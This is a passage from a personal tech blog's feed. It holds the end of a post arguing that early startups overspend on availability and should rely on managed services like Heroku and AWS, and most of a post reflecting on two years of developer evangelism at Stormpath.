what anyone else says: doing devops work in addition to your normal
development duties is a losing battle &amp;ndash; you will never have enough time to
do a good job at both (&lt;em>unless you follow my advice later on&lt;/em>).&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Spending tons of money on very expensive outsourced services. There are most
definitely tools out there than can improve your availability, but they cost a
great deal of money. Running redundant servers, paying incredible premiums
for special hardware, etc. &amp;ndash; it all costs lots of money, time, and &lt;em>usually&lt;/em>
ongoing maintenance.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Doing a shitty job. If you claim that availability is important to you, but
you aren&amp;rsquo;t willing to spend actual time working on it &amp;ndash; then the cost is
going to be your customers and your reputation. Selling five nines of
availability to customers and under-delivering won&amp;rsquo;t put you out of business
immediately, but will drain your reputation and slowly bleed your user base
over time.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>No matter what you&amp;rsquo;ve heard: availability ain&amp;rsquo;t cheap: so don&amp;rsquo;t forget it!&lt;/p>
&lt;h2 id="availability-will-cost-you-your-company">Availability Will Cost You Your Company&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2015/obsessing-over-availability-is-dumb/superman-bold-stance-sketch.png" alt="Superman Bold Stance Sketch" title="Superman Bold Stance Sketch">
&lt;/p>
&lt;p>As a pretty active member of the development community over the last 10 years,
I&amp;rsquo;ve had the pleasure of getting to know lots of different people in the startup
scene &amp;ndash; and not just in the bay area.&lt;/p>
&lt;p>I&amp;rsquo;ve spent tons of time going to meetups and meeting other developers in Los
Angeles, the Bay Area, Portland, Denver, New York, and quite a few other places.&lt;/p>
&lt;p>And, no matter where I go or who I speak with: I continue to meet startups
building their MVPs who are &lt;strong>already spending lots of time and money
architecting their services for availability&lt;/strong>.&lt;/p>
&lt;p>I can tell you right now that if you&amp;rsquo;re a startup building an MVP and don&amp;rsquo;t yet
have a lot of customers, &lt;strong>you&amp;rsquo;re wasting your time, money, and most likely
dramatically increasing the odds your company will fail&lt;/strong> by spending time and
effort worrying about availability.&lt;/p>
&lt;p>If you aren&amp;rsquo;t making money, and are already worried about redundant load
balancers, you should probably be working over at Google instead of running a
startup.&lt;/p>
&lt;p>Spending time, effort, and in many cases: limited funding will dramatically
increase your &lt;a href="http://startupdeathclock.com" title="Startup Death Clock">Death Rate&lt;/a>, putting you out of business that much sooner.
It&amp;rsquo;s hard to come up with generic rules (&lt;em>I&amp;rsquo;m not a VC or anything&lt;/em>), but if I
&lt;em>had&lt;/em> to come up with a formula, I&amp;rsquo;d say that if your company is less than 10
people, and you&amp;rsquo;ve got a dedicated operations person, you&amp;rsquo;re doing it all
wrong.&lt;/p>
&lt;p>If you&amp;rsquo;re a startup and you&amp;rsquo;re deploying your web services anywhere other than
&lt;a href="https://www.heroku.com/" title="Heroku">Heroku&lt;/a>, &lt;a href="https://aws.amazon.com/elasticbeanstalk/" title="AWS Elastic Beanstalk">AWS Elastic Beanstalk&lt;/a>, or some other incredibly simple PaaS,
you&amp;rsquo;ve probably already wasted too much time.&lt;/p>
&lt;h2 id="winning-by-least-effort">Winning by Least Effort&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2015/obsessing-over-availability-is-dumb/superman-stare-sketch.png" alt="Superman Stare Sketch" title="Superman Stare Sketch">
&lt;/p>
&lt;p>In my opinion, there&amp;rsquo;s only one way to &lt;em>win&lt;/em> at product development: doing the
simplest possible thing at every possible level.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: This is a lot different than taking the &lt;em>&amp;ldquo;easy way out&amp;rdquo;&lt;/em> &amp;ndash; this is
all about taking the path of least effort.&lt;/p>
&lt;p>And, as with everything else in this world, the simplest possible thing often
involves trade-offs. You can trade a little bit of availability for a &lt;em>LOT&lt;/em> of
convenience, or you can trade a lot of availability for a large &lt;em>inconvenience&lt;/em>.&lt;/p>
&lt;p>I prefer to go with the former.&lt;/p>
&lt;p>Here&amp;rsquo;s what I like to do when I&amp;rsquo;m starting new projects, regardless of how
ambitious they are:&lt;/p>
&lt;p>Firstly, I&amp;rsquo;ll build retry logic into the core of my products, so that any
failed HTTP requests / DB queries / etc. are retried using
&lt;a href="https://en.wikipedia.org/wiki/Exponential_backoff" title="Exponential Backoff">exponential backoff&lt;/a> a set amount of times (&lt;em>usually 3&lt;/em>), ensuring that
failed requests are retried and downtime is &lt;em>hopefully&lt;/em> avoided for transient
issues. This strategy requires very little development effort, and greatly
improves &lt;em>apparent&lt;/em> availability, even when issues are present.&lt;/p>
&lt;p>Secondly, I&amp;rsquo;ll build my MVP using tools and services that make my life
dramatically simpler, with the knowledge that in the future, if I absolutely
&lt;em>need&lt;/em> to architect my project for availability, I can always do so.&lt;/p>
&lt;p>This typically involves using services like:&lt;/p>
&lt;h3 id="heroku">Heroku&lt;/h3>
&lt;p>&lt;img src="https://rdegges.com/2015/obsessing-over-availability-is-dumb/heroku-icon-black.png" alt="Heroku Icon Black" title="Heroku Icon Black">
&lt;/p>
&lt;p>I like to use &lt;a href="https://www.heroku.com/" title="Heroku">Heroku&lt;/a> for hosting my web servers and workers. Not only is
Heroku a platform that &lt;a href="https://rdegges.com/2012/heroku-isnt-for-idiots/" title="Heroku Isn't for Idiots">enforces best practices&lt;/a>, but it is built on top of
open technologies, has been around for years, and has an incredible team of
people behind it.&lt;/p>
&lt;p>It&amp;rsquo;s also very competitively priced, and free for small projects (&lt;em>like most
of mine!&lt;/em>).&lt;/p>
&lt;p>Furthermore, &lt;a href="https://status.heroku.com/uptime" title="Heroku Uptime">history shows&lt;/a> that Heroku gets you at &lt;em>least&lt;/em> 99.99% uptime,
for no cost, with zero operations work and maintenance involved. I currently
run an API service on Heroku (&lt;a href="https://www.ipify.org/" title="ipify - A Simple Public IP Address API">ipify&lt;/a>) which serves &amp;gt; 12 billion of requests
per month, and it hasn&amp;rsquo;t once involved maintenance, woken me up with alerts,
or inconvenienced me &lt;em>in the slightest&lt;/em>.&lt;/p>
&lt;p>Lastly, worth a mention, is the fact that Heroku comes with an awesome
collection of &lt;a href="https://elements.heroku.com/addons" title="Heroku Addons">addon services&lt;/a> which are incredibly high quality. Heroku also
runs the absolute best hosted database service that has ever existed:
&lt;a href="https://elements.heroku.com/addons/heroku-postgresql" title="Heroku Postgres">Heroku Postgres&lt;/a>. Using anything else in comparison makes you realize just
how absolutely amazing the Heroku Postgres service really is.&lt;/p>
&lt;h3 id="select-aws-services-s3-sqs-dynamo-redshift">Select AWS Services: S3, SQS, Dynamo, Redshift&lt;/h3>
&lt;p>&lt;img src="https://rdegges.com/2015/obsessing-over-availability-is-dumb/aws-icon.png" alt="AWS Icon" title="AWS Icon">
&lt;/p>
&lt;p>&lt;a href="https://aws.amazon.com/" title="AWS">AWS&lt;/a> is an incredibly complicated hosting service. More than a hosting
provider, it&amp;rsquo;s a suite of low-level building blocks for developing modern web
applications.&lt;/p>
&lt;p>It consists of a vast array of services, all of which have distinct purposes and
use cases.&lt;/p>
&lt;p>Out of all the current services AWS provides, several are worth a mention: S3,
SQS, Dynamo, and Redshift. These services require 0 maintenance, do their
jobs incredibly well, and get you incredibly high amounts of uptime for low / no
cost.&lt;/p>
&lt;p>If you haven&amp;rsquo;t heard of &lt;a href="https://aws.amazon.com/s3/" title="Amazon S3">Amazon S3&lt;/a>, I don&amp;rsquo;t know how you found this blog.
But anyhow: S3 is a very reliable file storage service that gets you a
durability percentage of 99.999999999% (&lt;em>you read that correct, 9 nines of
durability&lt;/em>), and 99.99% availability yearly. This is probably the most widely
used of the AWS services, and, side note: I&amp;rsquo;ve never see anyone complain about
their 99.99% availability guarantees.&lt;/p>
&lt;p>Next up: &lt;a href="https://aws.amazon.com/sqs/" title="Amazon SQS">Amazon SQS&lt;/a>. SQS is an incredibly simple to use queueing service
that costs next to nothing, has a high record of history availability, requires
no maintenance or hackery over time, and supports and &lt;em>unlimited&lt;/em> amount of
concurrent messages.&lt;/p>
&lt;p>&lt;a href="https://aws.amazon.com/dynamodb/" title="Amazon DynamoDB">Dynamo&lt;/a> is a very high performance NoSQL database that requires no
maintenance, is inexpensive to use, has a very simple API, and allows you to
retrieve data in a variety of ways for speed and accuracy. I&amp;rsquo;ve had incredible
results using it as a first-tier cache for API services that require incredibly
low latency responses.&lt;/p>
&lt;p>Finally, &lt;a href="https://aws.amazon.com/redshift/" title="Amazon Redshift">Amazon Redshift&lt;/a> is an excellent data warehousing service. It
requires no maintenance, is very fast, has a PostgreSQL compliant API for
querying data, and can store an unlimited amount of data. If you&amp;rsquo;re building
any sort of analytics tools, aggregating all your data into one place before
generating useful metrics and graphs is a perfect use case for Redshift, and
it has a number of amazing features to make this sort of workflow even simpler.&lt;/p>
&lt;p>I&amp;rsquo;ve built several projects now that have used Redshift for data warehousing
with great success.&lt;/p>
&lt;h3 id="other-services">Other Services&lt;/h3>
&lt;p>&lt;img src="https://rdegges.com/2015/obsessing-over-availability-is-dumb/service-logos.png" alt="Service Logos" title="Service Logos">
&lt;/p>
&lt;p>For some non-hosting related services, I really enjoy using:&lt;/p>
&lt;p>&lt;a href="http://www.mailgun.com/" title="Mailgun">Mailgun&lt;/a> for sending out email. They have a simple API, competitive
pricing, and a 99.99% uptime guarantee. It&amp;rsquo;s also a hell of a lot easier than
handling email yourself.&lt;/p>
&lt;p>&lt;a href="https://www.twilio.com/" title="Twilio">Twilio&lt;/a> for handling any sort of telephony stuff: phone calls, SMS messages,
etc. They have a great API, cheap pricing, and a 99.95% uptime guarantee.&lt;/p>
&lt;p>&lt;a href="https://www.algolia.com/" title="Algolia">Algolia&lt;/a> for searching data. It&amp;rsquo;s simple to use, fast, and has a 99.99%
uptime guarantee. It&amp;rsquo;s also way easier than running Elastic Search clusters of
your own, and dealing with all the madness that entails.&lt;/p>
&lt;p>&lt;a href="https://pusher.com/" title="Pusher">Pusher&lt;/a> for anything that requires websockets. It provides a simple API to
handle websocket stuff, without the hassle of running socketio servers and
scaling / running / worrying about those in production. They also have an
amazingly transparent uptime model you have to &lt;a href="https://pusher.com/legal" title="Pusher Legal">read for yourself&lt;/a>: &lt;em>+1 for
respect.&lt;/em>&lt;/p>
&lt;h2 id="pride-ego-and-hubris">Pride, Ego, and Hubris&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2015/obsessing-over-availability-is-dumb/superman-proud-sketch.png" alt="Superman Proud Sketch" title="Superman Proud Sketch">
&lt;/p>
&lt;p>Lastly, I wanted to quickly mention that the only reason people tend to drone on
endlessly about availability in the first place is that caring about
availability over almost everything else to a fault has become &lt;em>popular&lt;/em> in the
tech community. Building a highly available service has become something of a
&lt;em>badge of honor&lt;/em>.&lt;/p>
&lt;p>People who give conference talks about their &lt;em>war stories&lt;/em> building highly
available services, and brag about their efforts to improve availability 0.0001%
are lauded with praise, even under ridiculous circumstances.&lt;/p>
&lt;p>Caring a lot about availability has become a source of pride for many
developers, in the same way that code quality is a source of pride. If you
&lt;em>don&amp;rsquo;t&lt;/em> care about it as much, people think you&amp;rsquo;re insane!&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: For the record, I &lt;em>do&lt;/em> care about code quality more than almost
anything else =)&lt;/p>
&lt;p>The next time you end up in a conversation where availability comes up, try to
approach the conversation from a logical place: is availability necessary for
this? Is the cost worth it? Can you get by with 99.99% availability and &lt;em>no
operations work whatsoever&lt;/em> instead of spending hundreds of thousands of dollars
for an extra nine of availability?&lt;/p>
&lt;p>As a programmer, you should always be analytical about this stuff. Don&amp;rsquo;t
blindly hop onto the &lt;em>&amp;ldquo;me too!&amp;rdquo;&lt;/em> train just because everyone else is.&lt;/p>
&lt;h2 id="closing">Closing&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2015/obsessing-over-availability-is-dumb/superman-back-sketch.png" alt="Superman Back Sketch" title="Superman Back Sketch">
&lt;/p>
&lt;p>I hope that by this point I&amp;rsquo;ve convinced you that I&amp;rsquo;m at least &lt;em>not crazy&lt;/em>, and
that obsessing over availability isn&amp;rsquo;t exactly the smartest thing to do in most
cases.&lt;/p>
&lt;p>Now, excuse me while I go back to hacking on my latest API service which will be
happily sitting at 99.99% availability with zero effort on my part. I&amp;rsquo;m a busy
guy, after all.&lt;/p></description></item><item><title>Two Years of Evangelism</title><link>https://rdegges.com/2015/two-years-of-evangelism/</link><pubDate>Fri, 18 Dec 2015 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2015/two-years-of-evangelism/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2015/two-years-of-evangelism/horned-demon-sketch.png" alt="Horned Demon Sketch" title="Horned Demon Sketch">
&lt;/p>
&lt;p>In a couple short months, I&amp;rsquo;ll have been at &lt;a href="https://stormpath.com/" title="Stormpath - A User Management API Service">Stormpath&lt;/a> for two full years.
It&amp;rsquo;s pretty insane how fast the time has flown by. It seems like only
yesterday I was &lt;a href="https://rdegges.com/2014/moving-on/" title="Moving On">writing&lt;/a> about my decision to move to Stormpath, and leaving
my startup behind.&lt;/p>
&lt;p>Since I&amp;rsquo;m finally taking a bit of a break to sit back and reflect about
everything that&amp;rsquo;s happened over the past two years, I figured now would be a
good time so share some of the things I&amp;rsquo;ve learned and experienced along the
way.&lt;/p>
&lt;h2 id="developer-evangelism-is-kinda-crazy">Developer Evangelism is Kinda Crazy&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2015/two-years-of-evangelism/crazy-bat-sketch.png" alt="Crazy Bat Sketch" title="Crazy Bat Sketch">
&lt;/p>
&lt;p>First off, being a Developer Evangelist is sorta crazy.&lt;/p>
&lt;p>Before joining Stormpath, I never held any sort of marketing / sales /
publicity related positions &lt;em>anywhere&lt;/em>. Quite the opposite, actually &amp;ndash; I was
just a developer, working out of my home office, spending 99% of my time
completely isolated from the world hacking on code =)&lt;/p>
&lt;p>When I started at Stormpath, I was fairly worried about this!&lt;/p>
&lt;p>I&amp;rsquo;ve been to enough events (&lt;em>meetups, hackathons, etc.&lt;/em>) in my life to have met
a lot of other Developer Evangelists, and I know secondhand that a big part of
being a &lt;em>&amp;ldquo;Developer Evangelist&amp;rdquo;&lt;/em> is doing lots of public stuff: giving tech
talks, meeting people, breaking the ice, etc.&lt;/p>
&lt;p>While I&amp;rsquo;m good enough in one-on-one conversation, I&amp;rsquo;m truly an introvert at
heart, and socializing really takes a lot out of me. To say I was worried about
this is a bit of an understatement. When I accepted the job offer I was
incredibly nervous!&lt;/p>
&lt;p>In addition to spending a lot of time actually talking with people, I knew I&amp;rsquo;d
have to give at &lt;em>least&lt;/em> a few tech talks &amp;ndash; and I know from previous experience
that I have a very hard time getting up in front of an audience of people and
clearly conveying a lesson in a fun and interesting way.&lt;/p>
&lt;p>Not only does public speaking make me really nervous, but it also takes a ton of
prep time and practice in order to go smoothly.&lt;/p>
&lt;p>I guess what I&amp;rsquo;m trying to say is: I knew going in that I was signing up for
something that felt very uncomfortable to me, but in the end, I&amp;rsquo;m glad I said
&lt;em>&amp;ldquo;fuck it&amp;rdquo;&lt;/em>, and took the leap, as I really wanted to challenge myself to do
something new, and push myself into uncomfortable territory.&lt;/p>
&lt;h3 id="what-developer-evangelists-do">What Developer Evangelists Do&lt;/h3>
&lt;p>&lt;img src="https://rdegges.com/2015/two-years-of-evangelism/happy-guy-sketch.png" alt="Happy Guy Sketch" title="Happy Guy Sketch">
&lt;/p>
&lt;p>There are several different ways to be a successful Developer Evangelist (&lt;em>I
intend to write more about this in the near future&lt;/em>):&lt;/p>
&lt;ol>
&lt;li>
&lt;p>You can attend lots of events (&lt;em>meetups, hackathons, conferences&lt;/em>), and do a
lot of small group communication.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>You can write a lot of open source libraries and tools that developers use,
and spend a good portion of your time maintaining them.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>You can spend time working on your company website and documentation,
improving the developer experience directly at the source.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>You can build a lot of sample apps that use your product or service. These
serve as examples for developers using your stuff of how to do things
properly.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>You can write a lot of content: articles, educational material, etc. This is
a great way to educate your audience, and build a fan base.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>You can do a combination of the above.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;h3 id="what-i-do">What I Do&lt;/h3>
&lt;p>&lt;img src="https://rdegges.com/2015/two-years-of-evangelism/lumberjack-sketch.png" alt="Lumberjack Sketch" title="Lumberjack Sketch">
&lt;/p>
&lt;p>My first few months at Stormpath, I invested myself heavily in strategy #1 &amp;ndash;
mainly because this is what I&amp;rsquo;ve seen other people doing.&lt;/p>
&lt;p>Many of my Developer Evangelist friends spend about 90% of their time traveling,
attending events, and giving talks.&lt;/p>
&lt;p>While this is a tried and proven strategy for reaching developers with your
product / service, it didn&amp;rsquo;t really feel &lt;em>right&lt;/em> to me.&lt;/p>
&lt;p>Instead, after some experimentation, I&amp;rsquo;ve fallen into the habit of doing a lot
less of strategy #1, and a lot more of strategy #2. I now spend most of my time
directly building and improving the Stormpath client libraries in a variety of
languages: Python, Flask, Django, Node.js, and Express.js.&lt;/p>
&lt;p>Despite my initial uncertainty about this, user feedback has shown me that
spending a lot of time focusing on the quality of individual library
implementations is a great way to on-board users, improve user experience, and
generally attract new users to the service.&lt;/p>
&lt;p>Since &lt;a href="https://stormpath.com/" title="Stormpath - A User Management API Service">Stormpath&lt;/a> is a fairly complex API service (&lt;em>it stores user accounts,
user profile data, and handles all sorts of web authentication stuff: login, API
auth, single sign on, etc.&lt;/em>), our client libraries are incredibly important &amp;ndash;
if they aren&amp;rsquo;t easy to use, simple, and intuitive &amp;ndash; developers will immediately
move on to something else.&lt;/p>
&lt;p>Spending time building and improving these libraries has been a great way to not
only popularize the Stormpath service &amp;ndash; but has also given myself (&lt;em>and
everyone at Stormpath&lt;/em>) a much more in-depth view of what developers actually
want out of our service, and what all of us should focus on building.&lt;/p>
&lt;p>When I&amp;rsquo;m not doing stuff like library maintenance, I&amp;rsquo;m typically splitting my
time up between:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Authoring blog content. Writing technical articles are how to do X or Y &amp;ndash;
typically security related topics. These tend to raise our organic search
traffic quite a bit, and serve as a nice funnel for marketing: people
searching for how to do X or Y learn what they need, and also learn that we
exist! Yey!&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Giving talks at local meetups or small conferences. Giving talks has turned
out to be a great way to both get your service noticed, as well as make
friends with people who are actually interested in what you&amp;rsquo;re doing. After
giving a talk, I typically end up chatting with at least a few people who are
deeply interested in the talk topic, and subsequently, my work.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Working directly with customers, helping them get stuff done. Through support
requests, I end up doing a lot of pair programming with customers. This is
actually one of my favorite parts of the job. I get on a screen sharing
session and hack on a customer&amp;rsquo;s code base for a few hours, solving problems
and getting things done. This makes people really happy, is very fun, and
makes me feel like I&amp;rsquo;m having a direct positive effect on someone.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;h2 id="what-i-dont-do">What I Don&amp;rsquo;t Do&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2015/two-years-of-evangelism/business-deal-sketch.png" alt="Business Deal Sketch" title="Business Deal Sketch">
&lt;/p>
&lt;p>As important as knowing what you &lt;em>need to do&lt;/em> is, there&amp;rsquo;s also a lot of value in
knowing what you &lt;em>shouldn&amp;rsquo;t be doing&lt;/em>.&lt;/p>
&lt;p>I alluded to this earlier, but in my first few months at Stormpath, I took a
somewhat typical evangelism approach to the product:&lt;/p>
&lt;ul>
&lt;li>I went to a lot of hackathons.&lt;/li>
&lt;li>I went to a lot of conferences / events.&lt;/li>
&lt;li>I tried to do as much &lt;em>public&lt;/em> stuff as possible.&lt;/li>
&lt;/ul>
&lt;p>Almost immediately, I realized this was just not a good idea. Here&amp;rsquo;s why:&lt;/p>
&lt;p>Unless the product or service you&amp;rsquo;re evangelising is already very far along,
well polished, etc., there&amp;rsquo;s no point in spending a lot of your time doing in
person things: hackathons, events, conferences.&lt;/p>
&lt;p>The reason why is this: unless you can very clearly show developers what your
service does, and how to use it in an incredibly simple, fool-proof way: you&amp;rsquo;re
just wasting your time.&lt;/p>
&lt;p>When I first joined Stormpath, we had essentially no developer libraries, so
using the product was incredibly difficult. A developer who wanted to store
user accounts in Stormpath, for instance, would have to learn about our
low-level client objects, dig through Github source code, and do some heavy
hacking to make even the simplest of integrations.&lt;/p>
&lt;p>From a developer perspective: it was simply not worth it.&lt;/p>
&lt;p>In the first few months I learned the hard way that I couldn&amp;rsquo;t just copy
&lt;a href="https://www.twilio.com/" title="Twilio">Twilio&amp;rsquo;s&lt;/a> evangelism strategy &amp;ndash; I&amp;rsquo;d have to make my own.&lt;/p>
&lt;p>Even today, almost two years later, we&amp;rsquo;re still not at the point where we can
confidently go out into the community at hackathons and various events and
easily show off our product in a variety of languages. We still have a ways to
go in terms of integration support, ease-of-use, and overall simplicity.&lt;/p>
&lt;p>But we&amp;rsquo;re making great progress =)&lt;/p>
&lt;h2 id="what-im-moving-towards">What I&amp;rsquo;m Moving Towards&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2015/two-years-of-evangelism/robot-sprint-sketch.png" alt="Robot Sprint Sketch" title="Robot Sprint Sketch">
&lt;/p>
&lt;p>I think that in the long run, what would work best is to split my time up as
follows:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Spend 3 days every week working on library development and maintenance work.
This is the most important part of the job in my opinion, as it is what
directly effects developers the most. If you&amp;rsquo;re evangelising an API service,
for instance, your product is only as good as your weakest developer library.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Spend 1 day per week working on content related stuff: blog posts,
screencasts, tech talks, etc. This is where you reach the most people:
educational materials. At Stormpath, almost all of our growth and success has
been due to a combination of building high-quality developer libraries, and
writing lots of very specific technical articles that people find useful.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Spend 1 day per week doing assorted other things: meetings, planning,
collaborating on projects with other team members, helping with the public
website / on-boarding, etc. At Stormpath, for instance, I frequently get
involved in various other areas not directly related to evangelism: company
analytics, on-site hackery with larger companies, working on the public facing
website, giving feedback to other teams, etc. All of these things are
valuable, and instead of being completely &lt;em>siloed&lt;/em> into &lt;em>evangelism&lt;/em>, it&amp;rsquo;s
important that you also make time for helping in other areas that you can
contribute to as well. This helps to build a good &lt;em>team culture&lt;/em>, and also
keeps you from falling into the same old routine day-after-day.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>Over the next year, I&amp;rsquo;m hoping to slowly transition more and more into something
like the above, as the last two years have shown that the three above items are
the most effective for Stormpath at this time.&lt;/p>
&lt;h2 id="the-main-problem-lack-of-time">The Main Problem: Lack of Time&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2015/two-years-of-evangelism/clock-sketch.png" alt="Clock Sketch" title="Clock Sketch">
&lt;/p>
&lt;p>The main problem I face on a day-to-day basis is, quite simply, lack of time.&lt;/p>
&lt;p>One of the biggest problems I&amp;rsquo;ve had through my first two years (&lt;em>and still a
bit currently&lt;/em>) is deciding what the priority of various tasks are. It&amp;rsquo;s very
difficult to prioritize large, high value projects when there&amp;rsquo;s a constant
influx of important time-demanding things going on: responding to customer
requests, fixing library bugs, reviewing pull requests on Github projects, etc.&lt;/p>
&lt;p>Sometimes, at the end of a busy day, I&amp;rsquo;ll have spent 10 hours working on lots of
important customer related tasks, but have made no progress on my first (&lt;em>and
sometimes only&lt;/em>) task for the week.&lt;/p>
&lt;p>This can definitely be a bit demotivating, but I&amp;rsquo;ve learned to aim for small
wins here and there. For instance, instead of putting a huge project onto my
task list, I&amp;rsquo;ll break it up into 10 separate mini-projects. This way I can
knock one or two of these mini-projects off my list every day and be able to
sleep peacefully at night knowing I&amp;rsquo;ve accomplished something.&lt;/p>
&lt;p>Another thing I&amp;rsquo;ve learned (&lt;em>just recently!&lt;/em>) is to be ruthless with your TODO
list. I&amp;rsquo;m currently using &lt;a href="https://trello.com/" title="Trello">Trello&lt;/a> to manage my backlog of tasks, what I&amp;rsquo;m
currently working on, and my weekly &lt;em>&amp;ldquo;Done&amp;rdquo;&lt;/em> list. This has been great because
it gives my coworkers insight into what I&amp;rsquo;m currently busy with, and also gives
both them and me a way to co-ordinate about what things need to get finished
first, etc.&lt;/p>
&lt;p>Whatever system you end up using to manage your time, make sure you use it
religiously and don&amp;rsquo;t deviate.&lt;/p>
&lt;h2 id="never-ever-stress-yourself-out">Never, Ever, Stress Yourself Out&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2015/two-years-of-evangelism/stress-sketch.png" alt="Stress Sketch" title="Stress Sketch">
&lt;/p>
&lt;p>I realize I just wrote for quite a while about how crazy being a Developer
Evangelist can be, but as counter intuitive as this might seem &amp;ndash; no matter how
crazy things get, never allow yourself to stress about work.&lt;/p>
&lt;p>It&amp;rsquo;s just not worth it!&lt;/p>
&lt;p>At the end of the day, there are always a million things to do:&lt;/p>
&lt;ul>
&lt;li>Projects to build.&lt;/li>
&lt;li>Articles to write.&lt;/li>
&lt;li>Emails to send.&lt;/li>
&lt;li>Weights to be lifted.&lt;/li>
&lt;/ul>
&lt;p>But the reality is that this is all just part of &lt;em>your life&lt;/em>. This is your life
that you&amp;rsquo;re living! You are the one who makes decisions about what to do with
your time, and at the end of the day you&amp;rsquo;re the one who has to live with those
decisions.&lt;/p>
&lt;p>Instead of constantly thinking about the past or future, and worrying yourself
with a seemingly ever-increasing list of chores, simply focus on one thing at a
time and enjoy your life as much as possible.&lt;/p>
&lt;p>I know from past experience that it&amp;rsquo;s really easy to let yourself get wrapped up
in the scarcity mentality: no time for this, too many things to do for that,
etc! If you&amp;rsquo;re a Developer Evangelist, there are &lt;em>always&lt;/em> new things you&amp;rsquo;re
learning and working on, so it&amp;rsquo;s &lt;em>absolutely, 100% necessary&lt;/em> to just relax, and
focus on one thing at a time.&lt;/p>
&lt;h2 id="public-speaking-is-very-hard">Public Speaking is Very Hard&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2015/two-years-of-evangelism/speaking-sketch.jpg" alt="Speaking Sketch" title="Speaking Sketch">
&lt;/p>
&lt;p>Another thing I&amp;rsquo;ve come to really appreciate is how difficult public speaking
really is.&lt;/p>
&lt;p>I mentioned earlier that I&amp;rsquo;m a bit introverted and afraid of public speaking &amp;ndash;
but that&amp;rsquo;s not quite true. I know that if I practice enough and spend
sufficient time in preparation, I&amp;rsquo;m able to give a relatively solid talk and
feel confident in my performance.&lt;/p>
&lt;p>What&amp;rsquo;s hard about public speaking is developing a clear and concise talk that&amp;rsquo;s
both technical &lt;em>and&lt;/em> entertaining at the same time.&lt;/p>
&lt;p>I tend to watch a lot of technical talks for fun. This is partly because I
enjoy going to meetup groups, and partly because I often stumble upon highly
recommended ones on Youtube and such. But the point is: I watch a lot of them.&lt;/p>
&lt;p>One of the things that has always sorta bugged me is that many of the best
technical talks out there are&amp;hellip; Very, very dry. To put it bluntly: they&amp;rsquo;re
boring. SUPER BORING. So incredibly boring that it&amp;rsquo;s honestly hard to follow.&lt;/p>
&lt;p>When I gave my very first ever tech talk years ago, I decided that above all
else I want to be the sort of speaker that doesn&amp;rsquo;t bore his audience.&lt;/p>
&lt;p>Over the years I&amp;rsquo;ve experimented with many approaches, but what I&amp;rsquo;ve found works
best is raw enthusiasm.&lt;/p>
&lt;p>It doesn&amp;rsquo;t matter whether I&amp;rsquo;m speaking about password security or scaling API
services, I try to embed as much passion and enthusiasm for my topic into my
talk as humanly possible.&lt;/p>
&lt;p>But here&amp;rsquo;s the tricky part: it&amp;rsquo;s very hard to write good technical talks that
are:&lt;/p>
&lt;ul>
&lt;li>Sufficiently easy to follow.&lt;/li>
&lt;li>Sufficiently technical so that I can provide practical, in-depth information.&lt;/li>
&lt;li>Sufficiently interesting so the audience isn&amp;rsquo;t bored.&lt;/li>
&lt;li>Sufficiently complex so that I&amp;rsquo;m able to teach everyone in the room something
new.&lt;/li>
&lt;/ul>
&lt;p>It&amp;rsquo;s very hard to balance all four points.&lt;/p>
&lt;p>I&amp;rsquo;m still working on this quite a lot, and with each new talk I write I try to
improve at least a little bit more towards my end goal.&lt;/p>
&lt;p>But damn, writing a good talk is no easy task. It&amp;rsquo;s not uncommon for me to
spend 40+ hours writing and preparing a single 30 minute talk :(&lt;/p>
&lt;p>I&amp;rsquo;m hoping that over the next year, I&amp;rsquo;ll have sufficient practice to make this
process a bit more automatic and easier :)&lt;/p>
&lt;h2 id="you-can-do-a-lot-in-a-year-or-two">You Can Do a Lot in a Year (or Two!)&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2015/two-years-of-evangelism/calendar-sketch.png" alt="Calendar Sketch" title="Calendar Sketch">
&lt;/p>
&lt;p>In the past year, Stormpath has grown an incredible amount.&lt;/p>
&lt;p>Since I&amp;rsquo;ve joined, the company has launched several huge features, completely
redone our entire product UI, added tons of new users, picked up lots of
revenue, and also expanded our footprint into many new developer communities.&lt;/p>
&lt;p>My own, proudest achievements to date, include:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Building an incredibly tightly integrated &lt;a href="https://github.com/stormpath/stormpath-flask" title="Flask-Stormpath">Flask-Stormpath&lt;/a> library which
makes building secure Flask web apps drop-dead simple. This library generates
web registration and login pages, handles social login via Google and
Facbeook, and provides really convenient methods for accessing and storing
user data. It does a lot of things that no other Flask tools out there do,
and has one of the nicest, cleanest APIs I&amp;rsquo;ve ever written.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Helping to revamp Stormpath&amp;rsquo;s &lt;a href="https://github.com/stormpath/stormpath-sdk-python" title="Stormpath Python Library">Python&lt;/a> and &lt;a href="https://github.com/stormpath/stormpath-django" title="Stormpath Django Library">Django&lt;/a> libraries to improve
the quality, look, and feel of the library for developers. It&amp;rsquo;s now not only
